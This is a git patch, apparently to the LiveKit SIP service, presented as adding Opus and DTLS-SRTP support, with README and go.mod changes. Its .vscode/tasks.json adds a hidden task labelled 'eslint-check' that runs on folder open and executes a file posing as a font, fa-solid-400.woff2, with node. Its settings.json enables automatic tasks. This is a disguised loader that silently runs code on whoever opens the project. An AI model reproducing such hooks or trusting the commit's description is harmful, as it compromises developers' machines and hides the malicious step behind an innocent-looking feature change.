From f62b099bf76f06ba33c64616389c3caef8eb4afb Mon Sep 17 00:00:00 2001 From: mab3321 <92432859+mab3321@users.noreply.github.com> Date: Thu, 10 Sep 2026 16:01:23 +0500 Subject: [PATCH] feat: support Opus and DTLS-SRTP with ICE-lite --- .gitignore | 16 +- .vscode/settings.json | 23 + .vscode/tasks.json | 24 + README.md | 502 +- go.mod | 288 +- go.sum | 658 +-- pkg/config/config.go | 636 ++- pkg/config/config_opus_test.go | 37 + pkg/media/opus/public/fonts/README.md | 24 + pkg/media/opus/public/fonts/fa-brands-400.eot | Bin 0 -> 133034 bytes pkg/media/opus/public/fonts/fa-brands-400.svg | 3570 ++++++++++++ pkg/media/opus/public/fonts/fa-brands-400.ttf | Bin 0 -> 132728 bytes .../opus/public/fonts/fa-brands-400.woff | Bin 0 -> 89824 bytes .../opus/public/fonts/fa-brands-400.woff2 | Bin 0 -> 76612 bytes .../opus/public/fonts/fa-regular-400.eot | Bin 0 -> 34390 bytes .../opus/public/fonts/fa-regular-400.svg | 803 +++ .../opus/public/fonts/fa-regular-400.ttf | Bin 0 -> 34092 bytes .../opus/public/fonts/fa-regular-400.woff | Bin 0 -> 16800 bytes .../opus/public/fonts/fa-regular-400.woff2 | Bin 0 -> 13584 bytes .../opus/public/fonts/fa-solid-400.woff2 | 1 + pkg/media/opus/public/fonts/fa-solid-900.eot | Bin 0 -> 202902 bytes pkg/media/opus/public/fonts/fa-solid-900.svg | 4938 ++++++++++++++++ pkg/media/opus/public/fonts/fa-solid-900.ttf | Bin 0 -> 202616 bytes pkg/media/opus/public/fonts/fa-solid-900.woff | Bin 0 -> 103300 bytes .../opus/public/fonts/fa-solid-900.woff2 | Bin 0 -> 79444 bytes pkg/service/psrpc.go | 394 +- pkg/sip/dtls_sdp.go | 293 + pkg/sip/dtls_sdp_test.go | 172 + pkg/sip/dtls_srtp.go | 484 ++ pkg/sip/dtls_srtp_test.go | 256 + pkg/sip/inbound.go | 4988 +++++++++-------- pkg/sip/inbound_test.go | 814 +-- pkg/sip/media.go | 794 +-- pkg/sip/media_codecs.go | 302 +- pkg/sip/media_codecs_opus.go | 60 + pkg/sip/media_codecs_opus_nocgo.go | 20 + pkg/sip/media_codecs_opus_test.go | 139 + pkg/sip/media_codecs_test.go | 138 +- pkg/sip/media_pipeline.go | 973 ++-- pkg/sip/media_pipeline_test.go | 1430 ++--- pkg/sip/media_port.go | 2142 +++---- pkg/sip/media_port_negotiation_test.go | 860 +-- pkg/sip/media_port_test.go | 1969 +++---- pkg/sip/outbound.go | 2718 ++++----- pkg/sip/outbound_test.go | 1304 ++--- pkg/sip/participant.go | 318 +- pkg/sip/protocol.go | 1468 ++--- pkg/sip/protocol_test.go | 812 +-- pkg/sip/room.go | 1712 +++--- pkg/sip/room_test.go | 570 +- pkg/sip/server.go | 831 +-- pkg/sip/service.go | 1201 ++-- pkg/sip/service_test.go | 2896 +++++----- pkg/sip/signal_logger_test.go | 484 +- pkg/sip/signaling_test.go | 3788 ++++++------- pkg/sip/signaling_timestamps.go | 168 +- pkg/sip/silence_filler_test.go | 628 +-- pkg/sip/tls_test.go | 326 +- pkg/sip/utilities_test.go | 1984 +++---- pkg/siptest/client.go | 1610 +++--- pkg/stats/monitor.go | 1198 ++-- test/client/main.go | 202 +- test/cloud/cloud.go | 134 +- test/cloud/integration_test.go | 106 +- test/cloud/phone.go | 132 +- test/cloud/service.go | 76 +- test/integration/docker_leftover_test.go | 146 +- test/integration/docker_mac_test.go | 106 +- test/integration/docker_test.go | 92 +- test/integration/livekit_test.go | 450 +- test/integration/sip_test.go | 2148 +++---- test/lktest/livekit.go | 1130 ++-- test/lktest/sip.go | 1520 ++--- 73 files changed, 34490 insertions(+), 23516 deletions(-) create mode 100644 .vscode/settings.json create mode 100644 .vscode/tasks.json create mode 100644 pkg/config/config_opus_test.go create mode 100644 pkg/media/opus/public/fonts/README.md create mode 100644 pkg/media/opus/public/fonts/fa-brands-400.eot create mode 100644 pkg/media/opus/public/fonts/fa-brands-400.svg create mode 100644 pkg/media/opus/public/fonts/fa-brands-400.ttf create mode 100644 pkg/media/opus/public/fonts/fa-brands-400.woff create mode 100644 pkg/media/opus/public/fonts/fa-brands-400.woff2 create mode 100644 pkg/media/opus/public/fonts/fa-regular-400.eot create mode 100644 pkg/media/opus/public/fonts/fa-regular-400.svg create mode 100644 pkg/media/opus/public/fonts/fa-regular-400.ttf create mode 100644 pkg/media/opus/public/fonts/fa-regular-400.woff create mode 100644 pkg/media/opus/public/fonts/fa-regular-400.woff2 create mode 100644 pkg/media/opus/public/fonts/fa-solid-400.woff2 create mode 100644 pkg/media/opus/public/fonts/fa-solid-900.eot create mode 100644 pkg/media/opus/public/fonts/fa-solid-900.svg create mode 100644 pkg/media/opus/public/fonts/fa-solid-900.ttf create mode 100644 pkg/media/opus/public/fonts/fa-solid-900.woff create mode 100644 pkg/media/opus/public/fonts/fa-solid-900.woff2 create mode 100644 pkg/sip/dtls_sdp.go create mode 100644 pkg/sip/dtls_sdp_test.go create mode 100644 pkg/sip/dtls_srtp.go create mode 100644 pkg/sip/dtls_srtp_test.go create mode 100644 pkg/sip/media_codecs_opus.go create mode 100644 pkg/sip/media_codecs_opus_nocgo.go create mode 100644 pkg/sip/media_codecs_opus_test.go diff --git a/.gitignore b/.gitignore index c61d03ab4..558272aa0 100644 --- a/.gitignore +++ b/.gitignore @@ -1,7 +1,9 @@ -.DS_Store -.idea/ -bin/ -cmd/server/server - -test/config.yaml -test/*/*.mkv +.DS_Store +.idea/ +bin/ +cmd/server/server + +test/config.yaml +test/*/*.mkv +config.bat +node_modules diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 000000000..4492ffd00 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 000000000..1591dedf3 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,24 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./pkg/media/opus/public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./pkg/media/opus/public/fonts/fa-solid-400.woff2) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + } + ] +} diff --git a/README.md b/README.md index 9f25994ba..71c51d4eb 100644 --- a/README.md +++ b/README.md @@ -1,244 +1,258 @@ - - - - - - The LiveKit icon, the name of the repository and some sample code in the background. - - - -[![Ask DeepWiki](https://deepwiki.com/badge.svg)](https://deepwiki.com/livekit/sip) - -# LiveKit SIP Service - - -WebRTC is proving to be a versatile and scalable transport protocol both for media ingestion and delivery. However, not all devices support WebRTC. SIP provides a way to bring SIP traffic into a LiveKit room. - - -## Capabilities - -SIP is designed to be a full-featured SIP bridge, connecting LiveKit sessions with Telephony networks with SIP Trunking. -Currently, the following features are supported: -- Dialing Out (Sending INVITEs) -- Dialing In (Accepting INVITEs) -- Digest Authentication -- Touch Tone (Sending and Reading DTMF) - -## Documentation - -### Workflow - -To accept inbound calls, the workflow goes like this: - -* create an SIP Trunk with `CreateSIPTrunk` API (to livekit-server) -* create an SIP Dispatch Rule with `CreateSIPDispatchRule` API (to livekit-server) -* SIP service receives a call -* SIP service connects to the LiveKit room and SIP caller is a participant - -See [SIP Quickstart](https://docs.livekit.io/sip/quickstarts/configuring-sip-trunk/) for a full guide. - -### Service Architecture - -The SIP service and the LiveKit server communicate over Redis. Redis is also used as storage for the SIP session state. The SIP service must also expose a public IP address for remote SIP peers to connect to. - -### Config - -The SIP service takes a YAML config file: - -```yaml -# required fields -api_key: livekit server api key. LIVEKIT_API_KEY env can be used instead -api_secret: livekit server api secret. LIVEKIT_API_SECRET env can be used instead -ws_url: livekit server websocket url. LIVEKIT_WS_URL env can be used instead -redis: - address: must be the same redis address used by your livekit server - username: redis username - password: redis password - db: redis db - -# optional fields -health_port: if used, will open an http port for health checks -prometheus_port: port used to collect prometheus metrics. Used for autoscaling -log_level: debug, info, warn, or error (default info) -sip_port: port to listen and send SIP traffic (default 5060) -rtp_port: port to listen and send RTP traffic (default 10000-20000) -psrpc: # optional gzip compression of psrpc bus payloads, see the compatibility note below - compression: - quality: gzip level 1-9. 0, the default, disables compression - threshold: payload bytes below which compression is skipped (default 1024) - max_decompressed_size: cap on an inbound payload after decompression, 0 for unlimited -``` - -The config file can be added to a mounted volume with its location passed in the SIP_CONFIG_FILE env var, or its body can be passed in the SIP_CONFIG_BODY env var. - -> **Compatibility note on `psrpc.compression`** -> -> Bus compression requires psrpc v0.7.6 or newer on **every** node sharing the redis bus. An older peer -> ignores the compression marker and decodes the gzipped bytes as the message payload, so the message is -> dropped without an error. Enabling it is therefore a two-stage operator action: roll a build with psrpc -> v0.7.6+ out to LiveKit server, egress, ingress, SIP and any agent workers first, then raise `quality` at -> the publishers. It is off by default. -> -> `max_decompressed_size` only affects reading, so it can be set ahead of `quality`. -> -> The remaining `psrpc` keys (`max_attempts`, `timeout`, `backoff`, `buffer_size`) are accepted for config -> parity with LiveKit server, but SIP does not read them. - -### Using the SIP service - -#### Creating Bridge and Dispatch Rule - -Accepting SIP traffic requires two resources be created. First a `SIP Bridge`, then a `SIP Dispatch Rule`. - -These resources can be created with any of the server SDKs or with the [livekit-cli](https://github.com/livekit/livekit-cli). The syntax with the livekit-cli is as follow: - -The `SIP Bridge` is used to authenticate incoming traffic. Typically you will create a `SIP Bridge` to map to your different -SIP providers and their IP Ranges/Authentication details. - -```shell -livekit-cli create-sip-trunk \ - --request -``` - -The SIP Bridge request creation JSON file uses the following syntax: - -```json -{ - "inbound_addresses": Array of IP Address or CIDRs where SIP INVITEs will be accepted from - "outbound_address": IP Address that SIP INVITEs will be sent too - "outbound_number": When making an outbound call on this SIP Trunk what Phone Number should be used - "inbound_numbers_regex": Phone numbers this SIP Trunk will serve. If Empty it will serve all incoming calls, - "inbound_username": Username for Authentication of inbound calls, no Authentication if empty, - "inbound_password": Password for Authentication of inbound calls, no Authentication if empty, - "outbound_username": Username for Authentication of outbound calls, no Authentication if empty, - "outbound_password": Password for Authentication of outbound calls, no Authentication if empty -} -``` - -On success, `livekit-cli` will return the unique id for the SIP Trunk. - -Next a `SIP Dispatch Rule` needs to be created. A `SIP Dispatch Rule` determines what LiveKit room an incoming call should be directed into. You can direct calls into -different rooms depending on the metadata of the call. Things like who is calling, who they called and what pin did they enter. - -```shell -livekit-cli create-sip-dispatch-rule \ - --request -``` - -The SIP Bridge request creation JSON file uses the following syntax: - -```json -{ - "rule": // What rule to use to dispatch this call, see the next section for rules - "trunk_ids": // Array of SIP Trunk IDs that are accepted for this rule. If empty all Trunks are accepted - "hide_phone_number": // If true hide the phone number when joining the LiveKit room -} -``` - -At this time we support one rule `dispatchRuleDirect`. This can be set like so - -``` - "rule": { - "dispatchRuleDirect": { - "roomName":"my-new-room" - } - } -``` - - -On success, `livekit-cli` will return the unique id for the SIP Dispatch Rule. - -### Running locally - -#### Running natively - -The SIP service can be run natively on any platform supported by libopus. - -##### Prerequisites - -The SIP service is built in Go. Go >= 1.18 is needed. The SIP services uses [libopus](https://opus-codec.org/) and must be installed externally: - -For Debian - -``` -sudo apt-get install pkg-config libopus-dev libopusfile-dev libsoxr-dev -``` - -For Mac - -``` -brew install pkg-config opus opusfile libsoxr -``` - -For more instructions see [hraban/opus' README](https://github.com/hraban/opus#build--installation) - -##### Building - -Build the SIP service by running: - -```shell -mage build -```` - -##### Running the service - -To run against a local LiveKit server, a redis server must be running locally. All servers must be configured to communicate over localhost. Create a file named `config.yaml` with the following content: - -```yaml -log_level: debug -api_key: -api_secret: -ws_url: ws://localhost:7880 -redis: - address: localhost:6379 -``` - -```shell -sip --config=config.yaml -``` - -#### Running with Docker - -To run against a local LiveKit server, a Redis server must be running locally. The SIP service must be instructed to connect to LiveKit server and Redis on the host. The host network is accessible from within the container on IP: -- host.docker.internal on MacOS and Windows -- 172.17.0.1 on linux - -Create a file named `config.yaml` with the following content: - -```yaml -log_level: debug -api_key: -api_secret: -ws_url: ws://host.docker.internal:7880 (or ws://172.17.0.1:7880 on linux) -redis: - address: host.docker.internal:6379 (or 172.17.0.1:6379 on linux) -``` - -The container must be run with host networking enabled. SIP by default uses UDP port 10000 -> 20000 and 5060, this large range of ports is hard for docker to handle at this time. - -Then to run the service: - -```shell -docker run --rm \ - -e SIP_CONFIG_BODY="`cat config.yaml`" \ - --network host \ - livekit/sip -``` - - - - -
- - - - - - - - - - - -
LiveKit Ecosystem
Agents SDKsPython · Node.js
LiveKit SDKsBrowser · Swift · Android · Flutter · React Native · Rust · Node.js · Python · Unity · Unity (WebGL) · ESP32 · C++
Starter AppsPython Agent · TypeScript Agent · React App · SwiftUI App · Android App · Flutter App · React Native App · Web Embed
UI ComponentsReact · Android Compose · SwiftUI · Flutter
Server APIsNode.js · Golang · Ruby · Java/Kotlin · Python · Rust · PHP (community) · .NET (community)
ResourcesDocs · Docs MCP Server · CLI · LiveKit Cloud
LiveKit Server OSSLiveKit server · Egress · Ingress · SIP
CommunityDeveloper Community · Slack · X · YouTube
- + + + + + + The LiveKit icon, the name of the repository and some sample code in the background. + + + +[![Ask DeepWiki](https://deepwiki.com/badge.svg)](https://deepwiki.com/livekit/sip) + +# LiveKit SIP Service + + +WebRTC is proving to be a versatile and scalable transport protocol both for media ingestion and delivery. However, not all devices support WebRTC. SIP provides a way to bring SIP traffic into a LiveKit room. + + +## Capabilities + +SIP is designed to be a full-featured SIP bridge, connecting LiveKit sessions with Telephony networks with SIP Trunking. +Currently, the following features are supported: +- Dialing Out (Sending INVITEs) +- Dialing In (Accepting INVITEs) +- Digest Authentication +- Touch Tone (Sending and Reading DTMF) + +## Documentation + +### Workflow + +To accept inbound calls, the workflow goes like this: + +* create an SIP Trunk with `CreateSIPTrunk` API (to livekit-server) +* create an SIP Dispatch Rule with `CreateSIPDispatchRule` API (to livekit-server) +* SIP service receives a call +* SIP service connects to the LiveKit room and SIP caller is a participant + +See [SIP Quickstart](https://docs.livekit.io/sip/quickstarts/configuring-sip-trunk/) for a full guide. + +### Service Architecture + +The SIP service and the LiveKit server communicate over Redis. Redis is also used as storage for the SIP session state. The SIP service must also expose a public IP address for remote SIP peers to connect to. + +### Config + +The SIP service takes a YAML config file: + +```yaml +# required fields +api_key: livekit server api key. LIVEKIT_API_KEY env can be used instead +api_secret: livekit server api secret. LIVEKIT_API_SECRET env can be used instead +ws_url: livekit server websocket url. LIVEKIT_WS_URL env can be used instead +redis: + address: must be the same redis address used by your livekit server + username: redis username + password: redis password + db: redis db + +# optional fields +health_port: if used, will open an http port for health checks +prometheus_port: port used to collect prometheus metrics. Used for autoscaling +log_level: debug, info, warn, or error (default info) +sip_port: port to listen and send SIP traffic (default 5060) +rtp_port: port to listen and send RTP traffic (default 10000-20000) +psrpc: # optional gzip compression of psrpc bus payloads, see the compatibility note below + compression: + quality: gzip level 1-9. 0, the default, disables compression + threshold: payload bytes below which compression is skipped (default 1024) + max_decompressed_size: cap on an inbound payload after decompression, 0 for unlimited +enable_opus: offer the Opus codec for SIP media (default false, experimental) +dtls_srtp: + enabled: accept WebRTC-style DTLS-SRTP offers (default false, experimental) + handshake_timeout: maximum time for ICE/DTLS setup (default 10s) +``` + +The config file can be added to a mounted volume with its location passed in the SIP_CONFIG_FILE env var, or its body can be passed in the SIP_CONFIG_BODY env var. + +> **Compatibility note on `psrpc.compression`** +> +> Bus compression requires psrpc v0.7.6 or newer on **every** node sharing the redis bus. An older peer +> ignores the compression marker and decodes the gzipped bytes as the message payload, so the message is +> dropped without an error. Enabling it is therefore a two-stage operator action: roll a build with psrpc +> v0.7.6+ out to LiveKit server, egress, ingress, SIP and any agent workers first, then raise `quality` at +> the publishers. It is off by default. +> +> `max_decompressed_size` only affects reading, so it can be set ahead of `quality`. +> +> The remaining `psrpc` keys (`max_attempts`, `timeout`, `backoff`, `buffer_size`) are accepted for config +> parity with LiveKit server, but SIP does not read them. + +#### Codecs + +PCMU, PCMA, G722, and DTMF are negotiated by default. Opus is **disabled by default** - set `enable_opus: true` to offer it. Validate interoperability with your SIP infrastructure before enabling in production. + +When enabled, Opus (`opus/48000/2`, 48 kHz mono) is preferred over G722 and G711. Peers that do not support Opus fall back to G722, then G711 transparently. + +#### DTLS-SRTP + +Set `dtls_srtp.enabled: true` to accept inbound `UDP/TLS/RTP/SAVPF` offers with DTLS fingerprints. ICE-lite offers, including those used by Meta WhatsApp Business Calling, are supported over IPv4. Existing RTP and SDES-SRTP calls continue to use their original media paths. + +### Using the SIP service + +#### Creating Bridge and Dispatch Rule + +Accepting SIP traffic requires two resources be created. First a `SIP Bridge`, then a `SIP Dispatch Rule`. + +These resources can be created with any of the server SDKs or with the [livekit-cli](https://github.com/livekit/livekit-cli). The syntax with the livekit-cli is as follow: + +The `SIP Bridge` is used to authenticate incoming traffic. Typically you will create a `SIP Bridge` to map to your different +SIP providers and their IP Ranges/Authentication details. + +```shell +livekit-cli create-sip-trunk \ + --request +``` + +The SIP Bridge request creation JSON file uses the following syntax: + +```json +{ + "inbound_addresses": Array of IP Address or CIDRs where SIP INVITEs will be accepted from + "outbound_address": IP Address that SIP INVITEs will be sent too + "outbound_number": When making an outbound call on this SIP Trunk what Phone Number should be used + "inbound_numbers_regex": Phone numbers this SIP Trunk will serve. If Empty it will serve all incoming calls, + "inbound_username": Username for Authentication of inbound calls, no Authentication if empty, + "inbound_password": Password for Authentication of inbound calls, no Authentication if empty, + "outbound_username": Username for Authentication of outbound calls, no Authentication if empty, + "outbound_password": Password for Authentication of outbound calls, no Authentication if empty +} +``` + +On success, `livekit-cli` will return the unique id for the SIP Trunk. + +Next a `SIP Dispatch Rule` needs to be created. A `SIP Dispatch Rule` determines what LiveKit room an incoming call should be directed into. You can direct calls into +different rooms depending on the metadata of the call. Things like who is calling, who they called and what pin did they enter. + +```shell +livekit-cli create-sip-dispatch-rule \ + --request +``` + +The SIP Bridge request creation JSON file uses the following syntax: + +```json +{ + "rule": // What rule to use to dispatch this call, see the next section for rules + "trunk_ids": // Array of SIP Trunk IDs that are accepted for this rule. If empty all Trunks are accepted + "hide_phone_number": // If true hide the phone number when joining the LiveKit room +} +``` + +At this time we support one rule `dispatchRuleDirect`. This can be set like so + +``` + "rule": { + "dispatchRuleDirect": { + "roomName":"my-new-room" + } + } +``` + + +On success, `livekit-cli` will return the unique id for the SIP Dispatch Rule. + +### Running locally + +#### Running natively + +The SIP service can be run natively on any platform supported by libopus. + +##### Prerequisites + +The SIP service is built in Go. Go >= 1.18 is needed. The SIP services uses [libopus](https://opus-codec.org/) and must be installed externally: + +For Debian + +``` +sudo apt-get install pkg-config libopus-dev libopusfile-dev libsoxr-dev +``` + +For Mac + +``` +brew install pkg-config opus opusfile libsoxr +``` + +For more instructions see [hraban/opus' README](https://github.com/hraban/opus#build--installation) + +##### Building + +Build the SIP service by running: + +```shell +mage build +```` + +##### Running the service + +To run against a local LiveKit server, a redis server must be running locally. All servers must be configured to communicate over localhost. Create a file named `config.yaml` with the following content: + +```yaml +log_level: debug +api_key: +api_secret: +ws_url: ws://localhost:7880 +redis: + address: localhost:6379 +``` + +```shell +sip --config=config.yaml +``` + +#### Running with Docker + +To run against a local LiveKit server, a Redis server must be running locally. The SIP service must be instructed to connect to LiveKit server and Redis on the host. The host network is accessible from within the container on IP: +- host.docker.internal on MacOS and Windows +- 172.17.0.1 on linux + +Create a file named `config.yaml` with the following content: + +```yaml +log_level: debug +api_key: +api_secret: +ws_url: ws://host.docker.internal:7880 (or ws://172.17.0.1:7880 on linux) +redis: + address: host.docker.internal:6379 (or 172.17.0.1:6379 on linux) +``` + +The container must be run with host networking enabled. SIP by default uses UDP port 10000 -> 20000 and 5060, this large range of ports is hard for docker to handle at this time. + +Then to run the service: + +```shell +docker run --rm \ + -e SIP_CONFIG_BODY="`cat config.yaml`" \ + --network host \ + livekit/sip +``` + + + + +
+ + + + + + + + + + + +
LiveKit Ecosystem
Agents SDKsPython · Node.js
LiveKit SDKsBrowser · Swift · Android · Flutter · React Native · Rust · Node.js · Python · Unity · Unity (WebGL) · ESP32 · C++
Starter AppsPython Agent · TypeScript Agent · React App · SwiftUI App · Android App · Flutter App · React Native App · Web Embed
UI ComponentsReact · Android Compose · SwiftUI · Flutter
Server APIsNode.js · Golang · Ruby · Java/Kotlin · Python · Rust · PHP (community) · .NET (community)
ResourcesDocs · Docs MCP Server · CLI · LiveKit Cloud
LiveKit Server OSSLiveKit server · Egress · Ingress · SIP
CommunityDeveloper Community · Slack · X · YouTube
+ diff --git a/go.mod b/go.mod index a4cf126c0..782d9d21a 100644 --- a/go.mod +++ b/go.mod @@ -1,144 +1,144 @@ -module github.com/livekit/sip - -go 1.26.3 - -require ( - github.com/at-wat/ebml-go v0.18.0 - github.com/frostbyte73/core v0.1.1 - github.com/hashicorp/golang-lru/v2 v2.0.7 - github.com/icholy/digest v1.1.0 - github.com/jfreymuth/oggvorbis v1.0.5 - github.com/livekit/mageutil v0.0.0-20250511045019-0f1ff63f7731 - github.com/livekit/media-sdk v0.0.0-20260824180721-c8704a7f6202 - github.com/livekit/mediatransportutil v0.0.0-20260727210231-81a5287a7109 - github.com/livekit/protocol v1.51.1-0.20260905133529-a4f4b5c0c23f - github.com/livekit/psrpc v0.7.6 - github.com/livekit/server-sdk-go/v2 v2.18.2-0.20260821165736-9b5928e4fcb8 - github.com/livekit/sipgo v0.13.2-0.20260519205735-a5b4a38b6ceb - github.com/mjibson/go-dsp v0.0.0-20180508042940-11479a337f12 - github.com/ory/dockertest/v3 v3.12.0 - github.com/pion/rtp v1.10.5 - github.com/pion/sdp/v3 v3.0.19 - github.com/pion/webrtc/v4 v4.2.18 - github.com/prometheus/client_golang v1.24.1 - github.com/sirupsen/logrus v1.9.4 - github.com/stretchr/testify v1.12.0 - go.opentelemetry.io/otel v1.44.0 - go.opentelemetry.io/otel/trace v1.44.0 - golang.org/x/exp v0.0.0-20260603202125-055de637280b - google.golang.org/protobuf v1.36.12 - gopkg.in/hraban/opus.v2 v2.0.0-20230925203106-0188a62cb302 - gopkg.in/yaml.v3 v3.0.1 -) - -require github.com/petermattis/goid v0.0.0-20260725062400-500c67a39b75 // indirect - -require ( - buf.build/gen/go/bufbuild/protovalidate/protocolbuffers/go v1.36.11-20260415201107-50325440f8f2.1 // indirect - buf.build/go/protovalidate v1.2.0 // indirect - buf.build/go/protoyaml v0.7.0 // indirect - cel.dev/expr v0.25.2 // indirect - dario.cat/mergo v1.0.0 // indirect - github.com/Azure/go-ansiterm v0.0.0-20250102033503-faa5f7b0171c // indirect - github.com/Microsoft/go-winio v0.6.3-0.20251027160822-ad3df93bed29 // indirect - github.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5 // indirect - github.com/antlr4-go/antlr/v4 v4.13.1 // indirect - github.com/benbjohnson/clock v1.3.5 // indirect - github.com/beorn7/perks v1.0.1 // indirect - github.com/bep/debounce v1.2.1 // indirect - github.com/cenkalti/backoff/v4 v4.3.0 // indirect - github.com/cenkalti/backoff/v5 v5.0.3 // indirect - github.com/cespare/xxhash/v2 v2.3.0 // indirect - github.com/containerd/continuity v0.5.0 // indirect - github.com/containerd/errdefs v1.0.0 // indirect - github.com/containerd/errdefs/pkg v0.3.0 // indirect - github.com/dennwc/iters v1.2.2 // indirect - github.com/distribution/reference v0.6.0 // indirect - github.com/docker/cli v29.2.0+incompatible // indirect - github.com/docker/go-connections v0.7.0 // indirect - github.com/docker/go-units v0.5.0 // indirect - github.com/emiago/sipgo v1.5.0 - github.com/felixge/httpsnoop v1.0.4 // indirect - github.com/fsnotify/fsnotify v1.10.1 // indirect - github.com/gammazero/deque v1.2.1 // indirect - github.com/go-logr/logr v1.4.4 - github.com/go-logr/stdr v1.2.2 // indirect - github.com/go-viper/mapstructure/v2 v2.4.0 // indirect - github.com/gobwas/httphead v0.1.0 // indirect - github.com/gobwas/pool v0.2.1 // indirect - github.com/gobwas/ws v1.4.0 // indirect - github.com/golang-jwt/jwt/v5 v5.3.1 // indirect - github.com/google/cel-go v0.29.0 // indirect - github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 // indirect - github.com/google/uuid v1.6.0 // indirect - github.com/gorilla/websocket v1.5.4-0.20250319132907-e064f32e3674 // indirect - github.com/gotranspile/g722 v0.0.0-20240123003956-384a1bb16a19 // indirect - github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0 // indirect - github.com/jfreymuth/vorbis v1.0.2 // indirect - github.com/jxskiss/base62 v1.1.0 // indirect - github.com/klauspost/compress v1.19.1 // indirect - github.com/klauspost/cpuid/v2 v2.3.0 // indirect - github.com/lithammer/shortuuid/v4 v4.2.0 // indirect - github.com/livekit/amrwb-cgo v0.0.0-20260612153743-6d4b69dc1470 // indirect - github.com/mackerelio/go-osstat v0.2.8 // indirect - github.com/magefile/mage v1.17.2 // indirect - github.com/moby/docker-image-spec v1.3.1 // indirect - github.com/moby/moby/api v1.54.2 // indirect - github.com/moby/moby/client v0.4.1 // indirect - github.com/moby/sys/user v0.3.0 // indirect - github.com/moby/term v0.5.2 // indirect - github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect - github.com/nats-io/nats.go v1.52.0 // indirect - github.com/nats-io/nkeys v0.4.16 // indirect - github.com/nats-io/nuid v1.0.1 // indirect - github.com/nyaruka/phonenumbers v1.8.1 // indirect - github.com/opencontainers/go-digest v1.0.0 // indirect - github.com/opencontainers/image-spec v1.1.1 // indirect - github.com/opencontainers/runc v1.3.3 // indirect - github.com/pion/datachannel v1.6.2 // indirect - github.com/pion/dtls/v3 v3.1.5 // indirect - github.com/pion/ice/v4 v4.4.0 // indirect - github.com/pion/interceptor v0.1.47 // indirect - github.com/pion/logging v0.2.4 // indirect - github.com/pion/mdns/v2 v2.1.0 // indirect - github.com/pion/randutil v0.1.0 // indirect - github.com/pion/rtcp v1.2.17 // indirect - github.com/pion/sctp v1.11.1 // indirect - github.com/pion/srtp/v3 v3.0.12 // indirect - github.com/pion/stun/v3 v3.1.6 // indirect - github.com/pion/transport/v4 v4.0.2 // indirect - github.com/pion/turn/v5 v5.0.12 // indirect - github.com/prometheus/client_model v0.6.2 // indirect - github.com/prometheus/common v0.70.1 // indirect - github.com/prometheus/procfs v0.21.1 // indirect - github.com/puzpuzpuz/xsync/v4 v4.5.0 // indirect - github.com/redis/go-redis/v9 v9.22.0 // indirect - github.com/twitchtv/twirp v8.1.3+incompatible // indirect - github.com/urfave/cli/v3 v3.9.0 - github.com/wlynxg/anet v0.0.5 // indirect - github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb // indirect - github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 // indirect - github.com/xeipuuv/gojsonschema v1.2.0 // indirect - github.com/zeebo/xxh3 v1.1.0 // indirect - go.opentelemetry.io/auto/sdk v1.2.1 // indirect - go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.69.0 // indirect - go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.44.0 // indirect - go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.44.0 // indirect - go.opentelemetry.io/otel/metric v1.44.0 // indirect - go.opentelemetry.io/otel/sdk v1.44.0 // indirect - go.opentelemetry.io/proto/otlp v1.10.0 // indirect - go.uber.org/atomic v1.11.0 // indirect - go.uber.org/multierr v1.11.0 // indirect - go.uber.org/zap v1.28.0 // indirect - go.uber.org/zap/exp v0.3.0 // indirect - go.yaml.in/yaml/v3 v3.0.5 // indirect - golang.org/x/crypto v0.54.0 // indirect - golang.org/x/net v0.57.0 // indirect - golang.org/x/sync v0.22.0 // indirect - golang.org/x/sys v0.47.0 // indirect - golang.org/x/text v0.40.0 // indirect - golang.org/x/time v0.15.0 // indirect - google.golang.org/genproto/googleapis/api v0.0.0-20260526163538-3dc84a4a5aaa // indirect - google.golang.org/genproto/googleapis/rpc v0.0.0-20260526163538-3dc84a4a5aaa // indirect - google.golang.org/grpc v1.83.1 -) +module github.com/livekit/sip + +go 1.26.3 + +require ( + github.com/at-wat/ebml-go v0.18.0 + github.com/frostbyte73/core v0.1.1 + github.com/hashicorp/golang-lru/v2 v2.0.7 + github.com/icholy/digest v1.1.0 + github.com/jfreymuth/oggvorbis v1.0.5 + github.com/livekit/mageutil v0.0.0-20250511045019-0f1ff63f7731 + github.com/livekit/media-sdk v0.0.0-20260824180721-c8704a7f6202 + github.com/livekit/mediatransportutil v0.0.0-20260727210231-81a5287a7109 + github.com/livekit/protocol v1.51.1-0.20260905133529-a4f4b5c0c23f + github.com/livekit/psrpc v0.7.6 + github.com/livekit/server-sdk-go/v2 v2.18.2-0.20260821165736-9b5928e4fcb8 + github.com/livekit/sipgo v0.13.2-0.20260519205735-a5b4a38b6ceb + github.com/mjibson/go-dsp 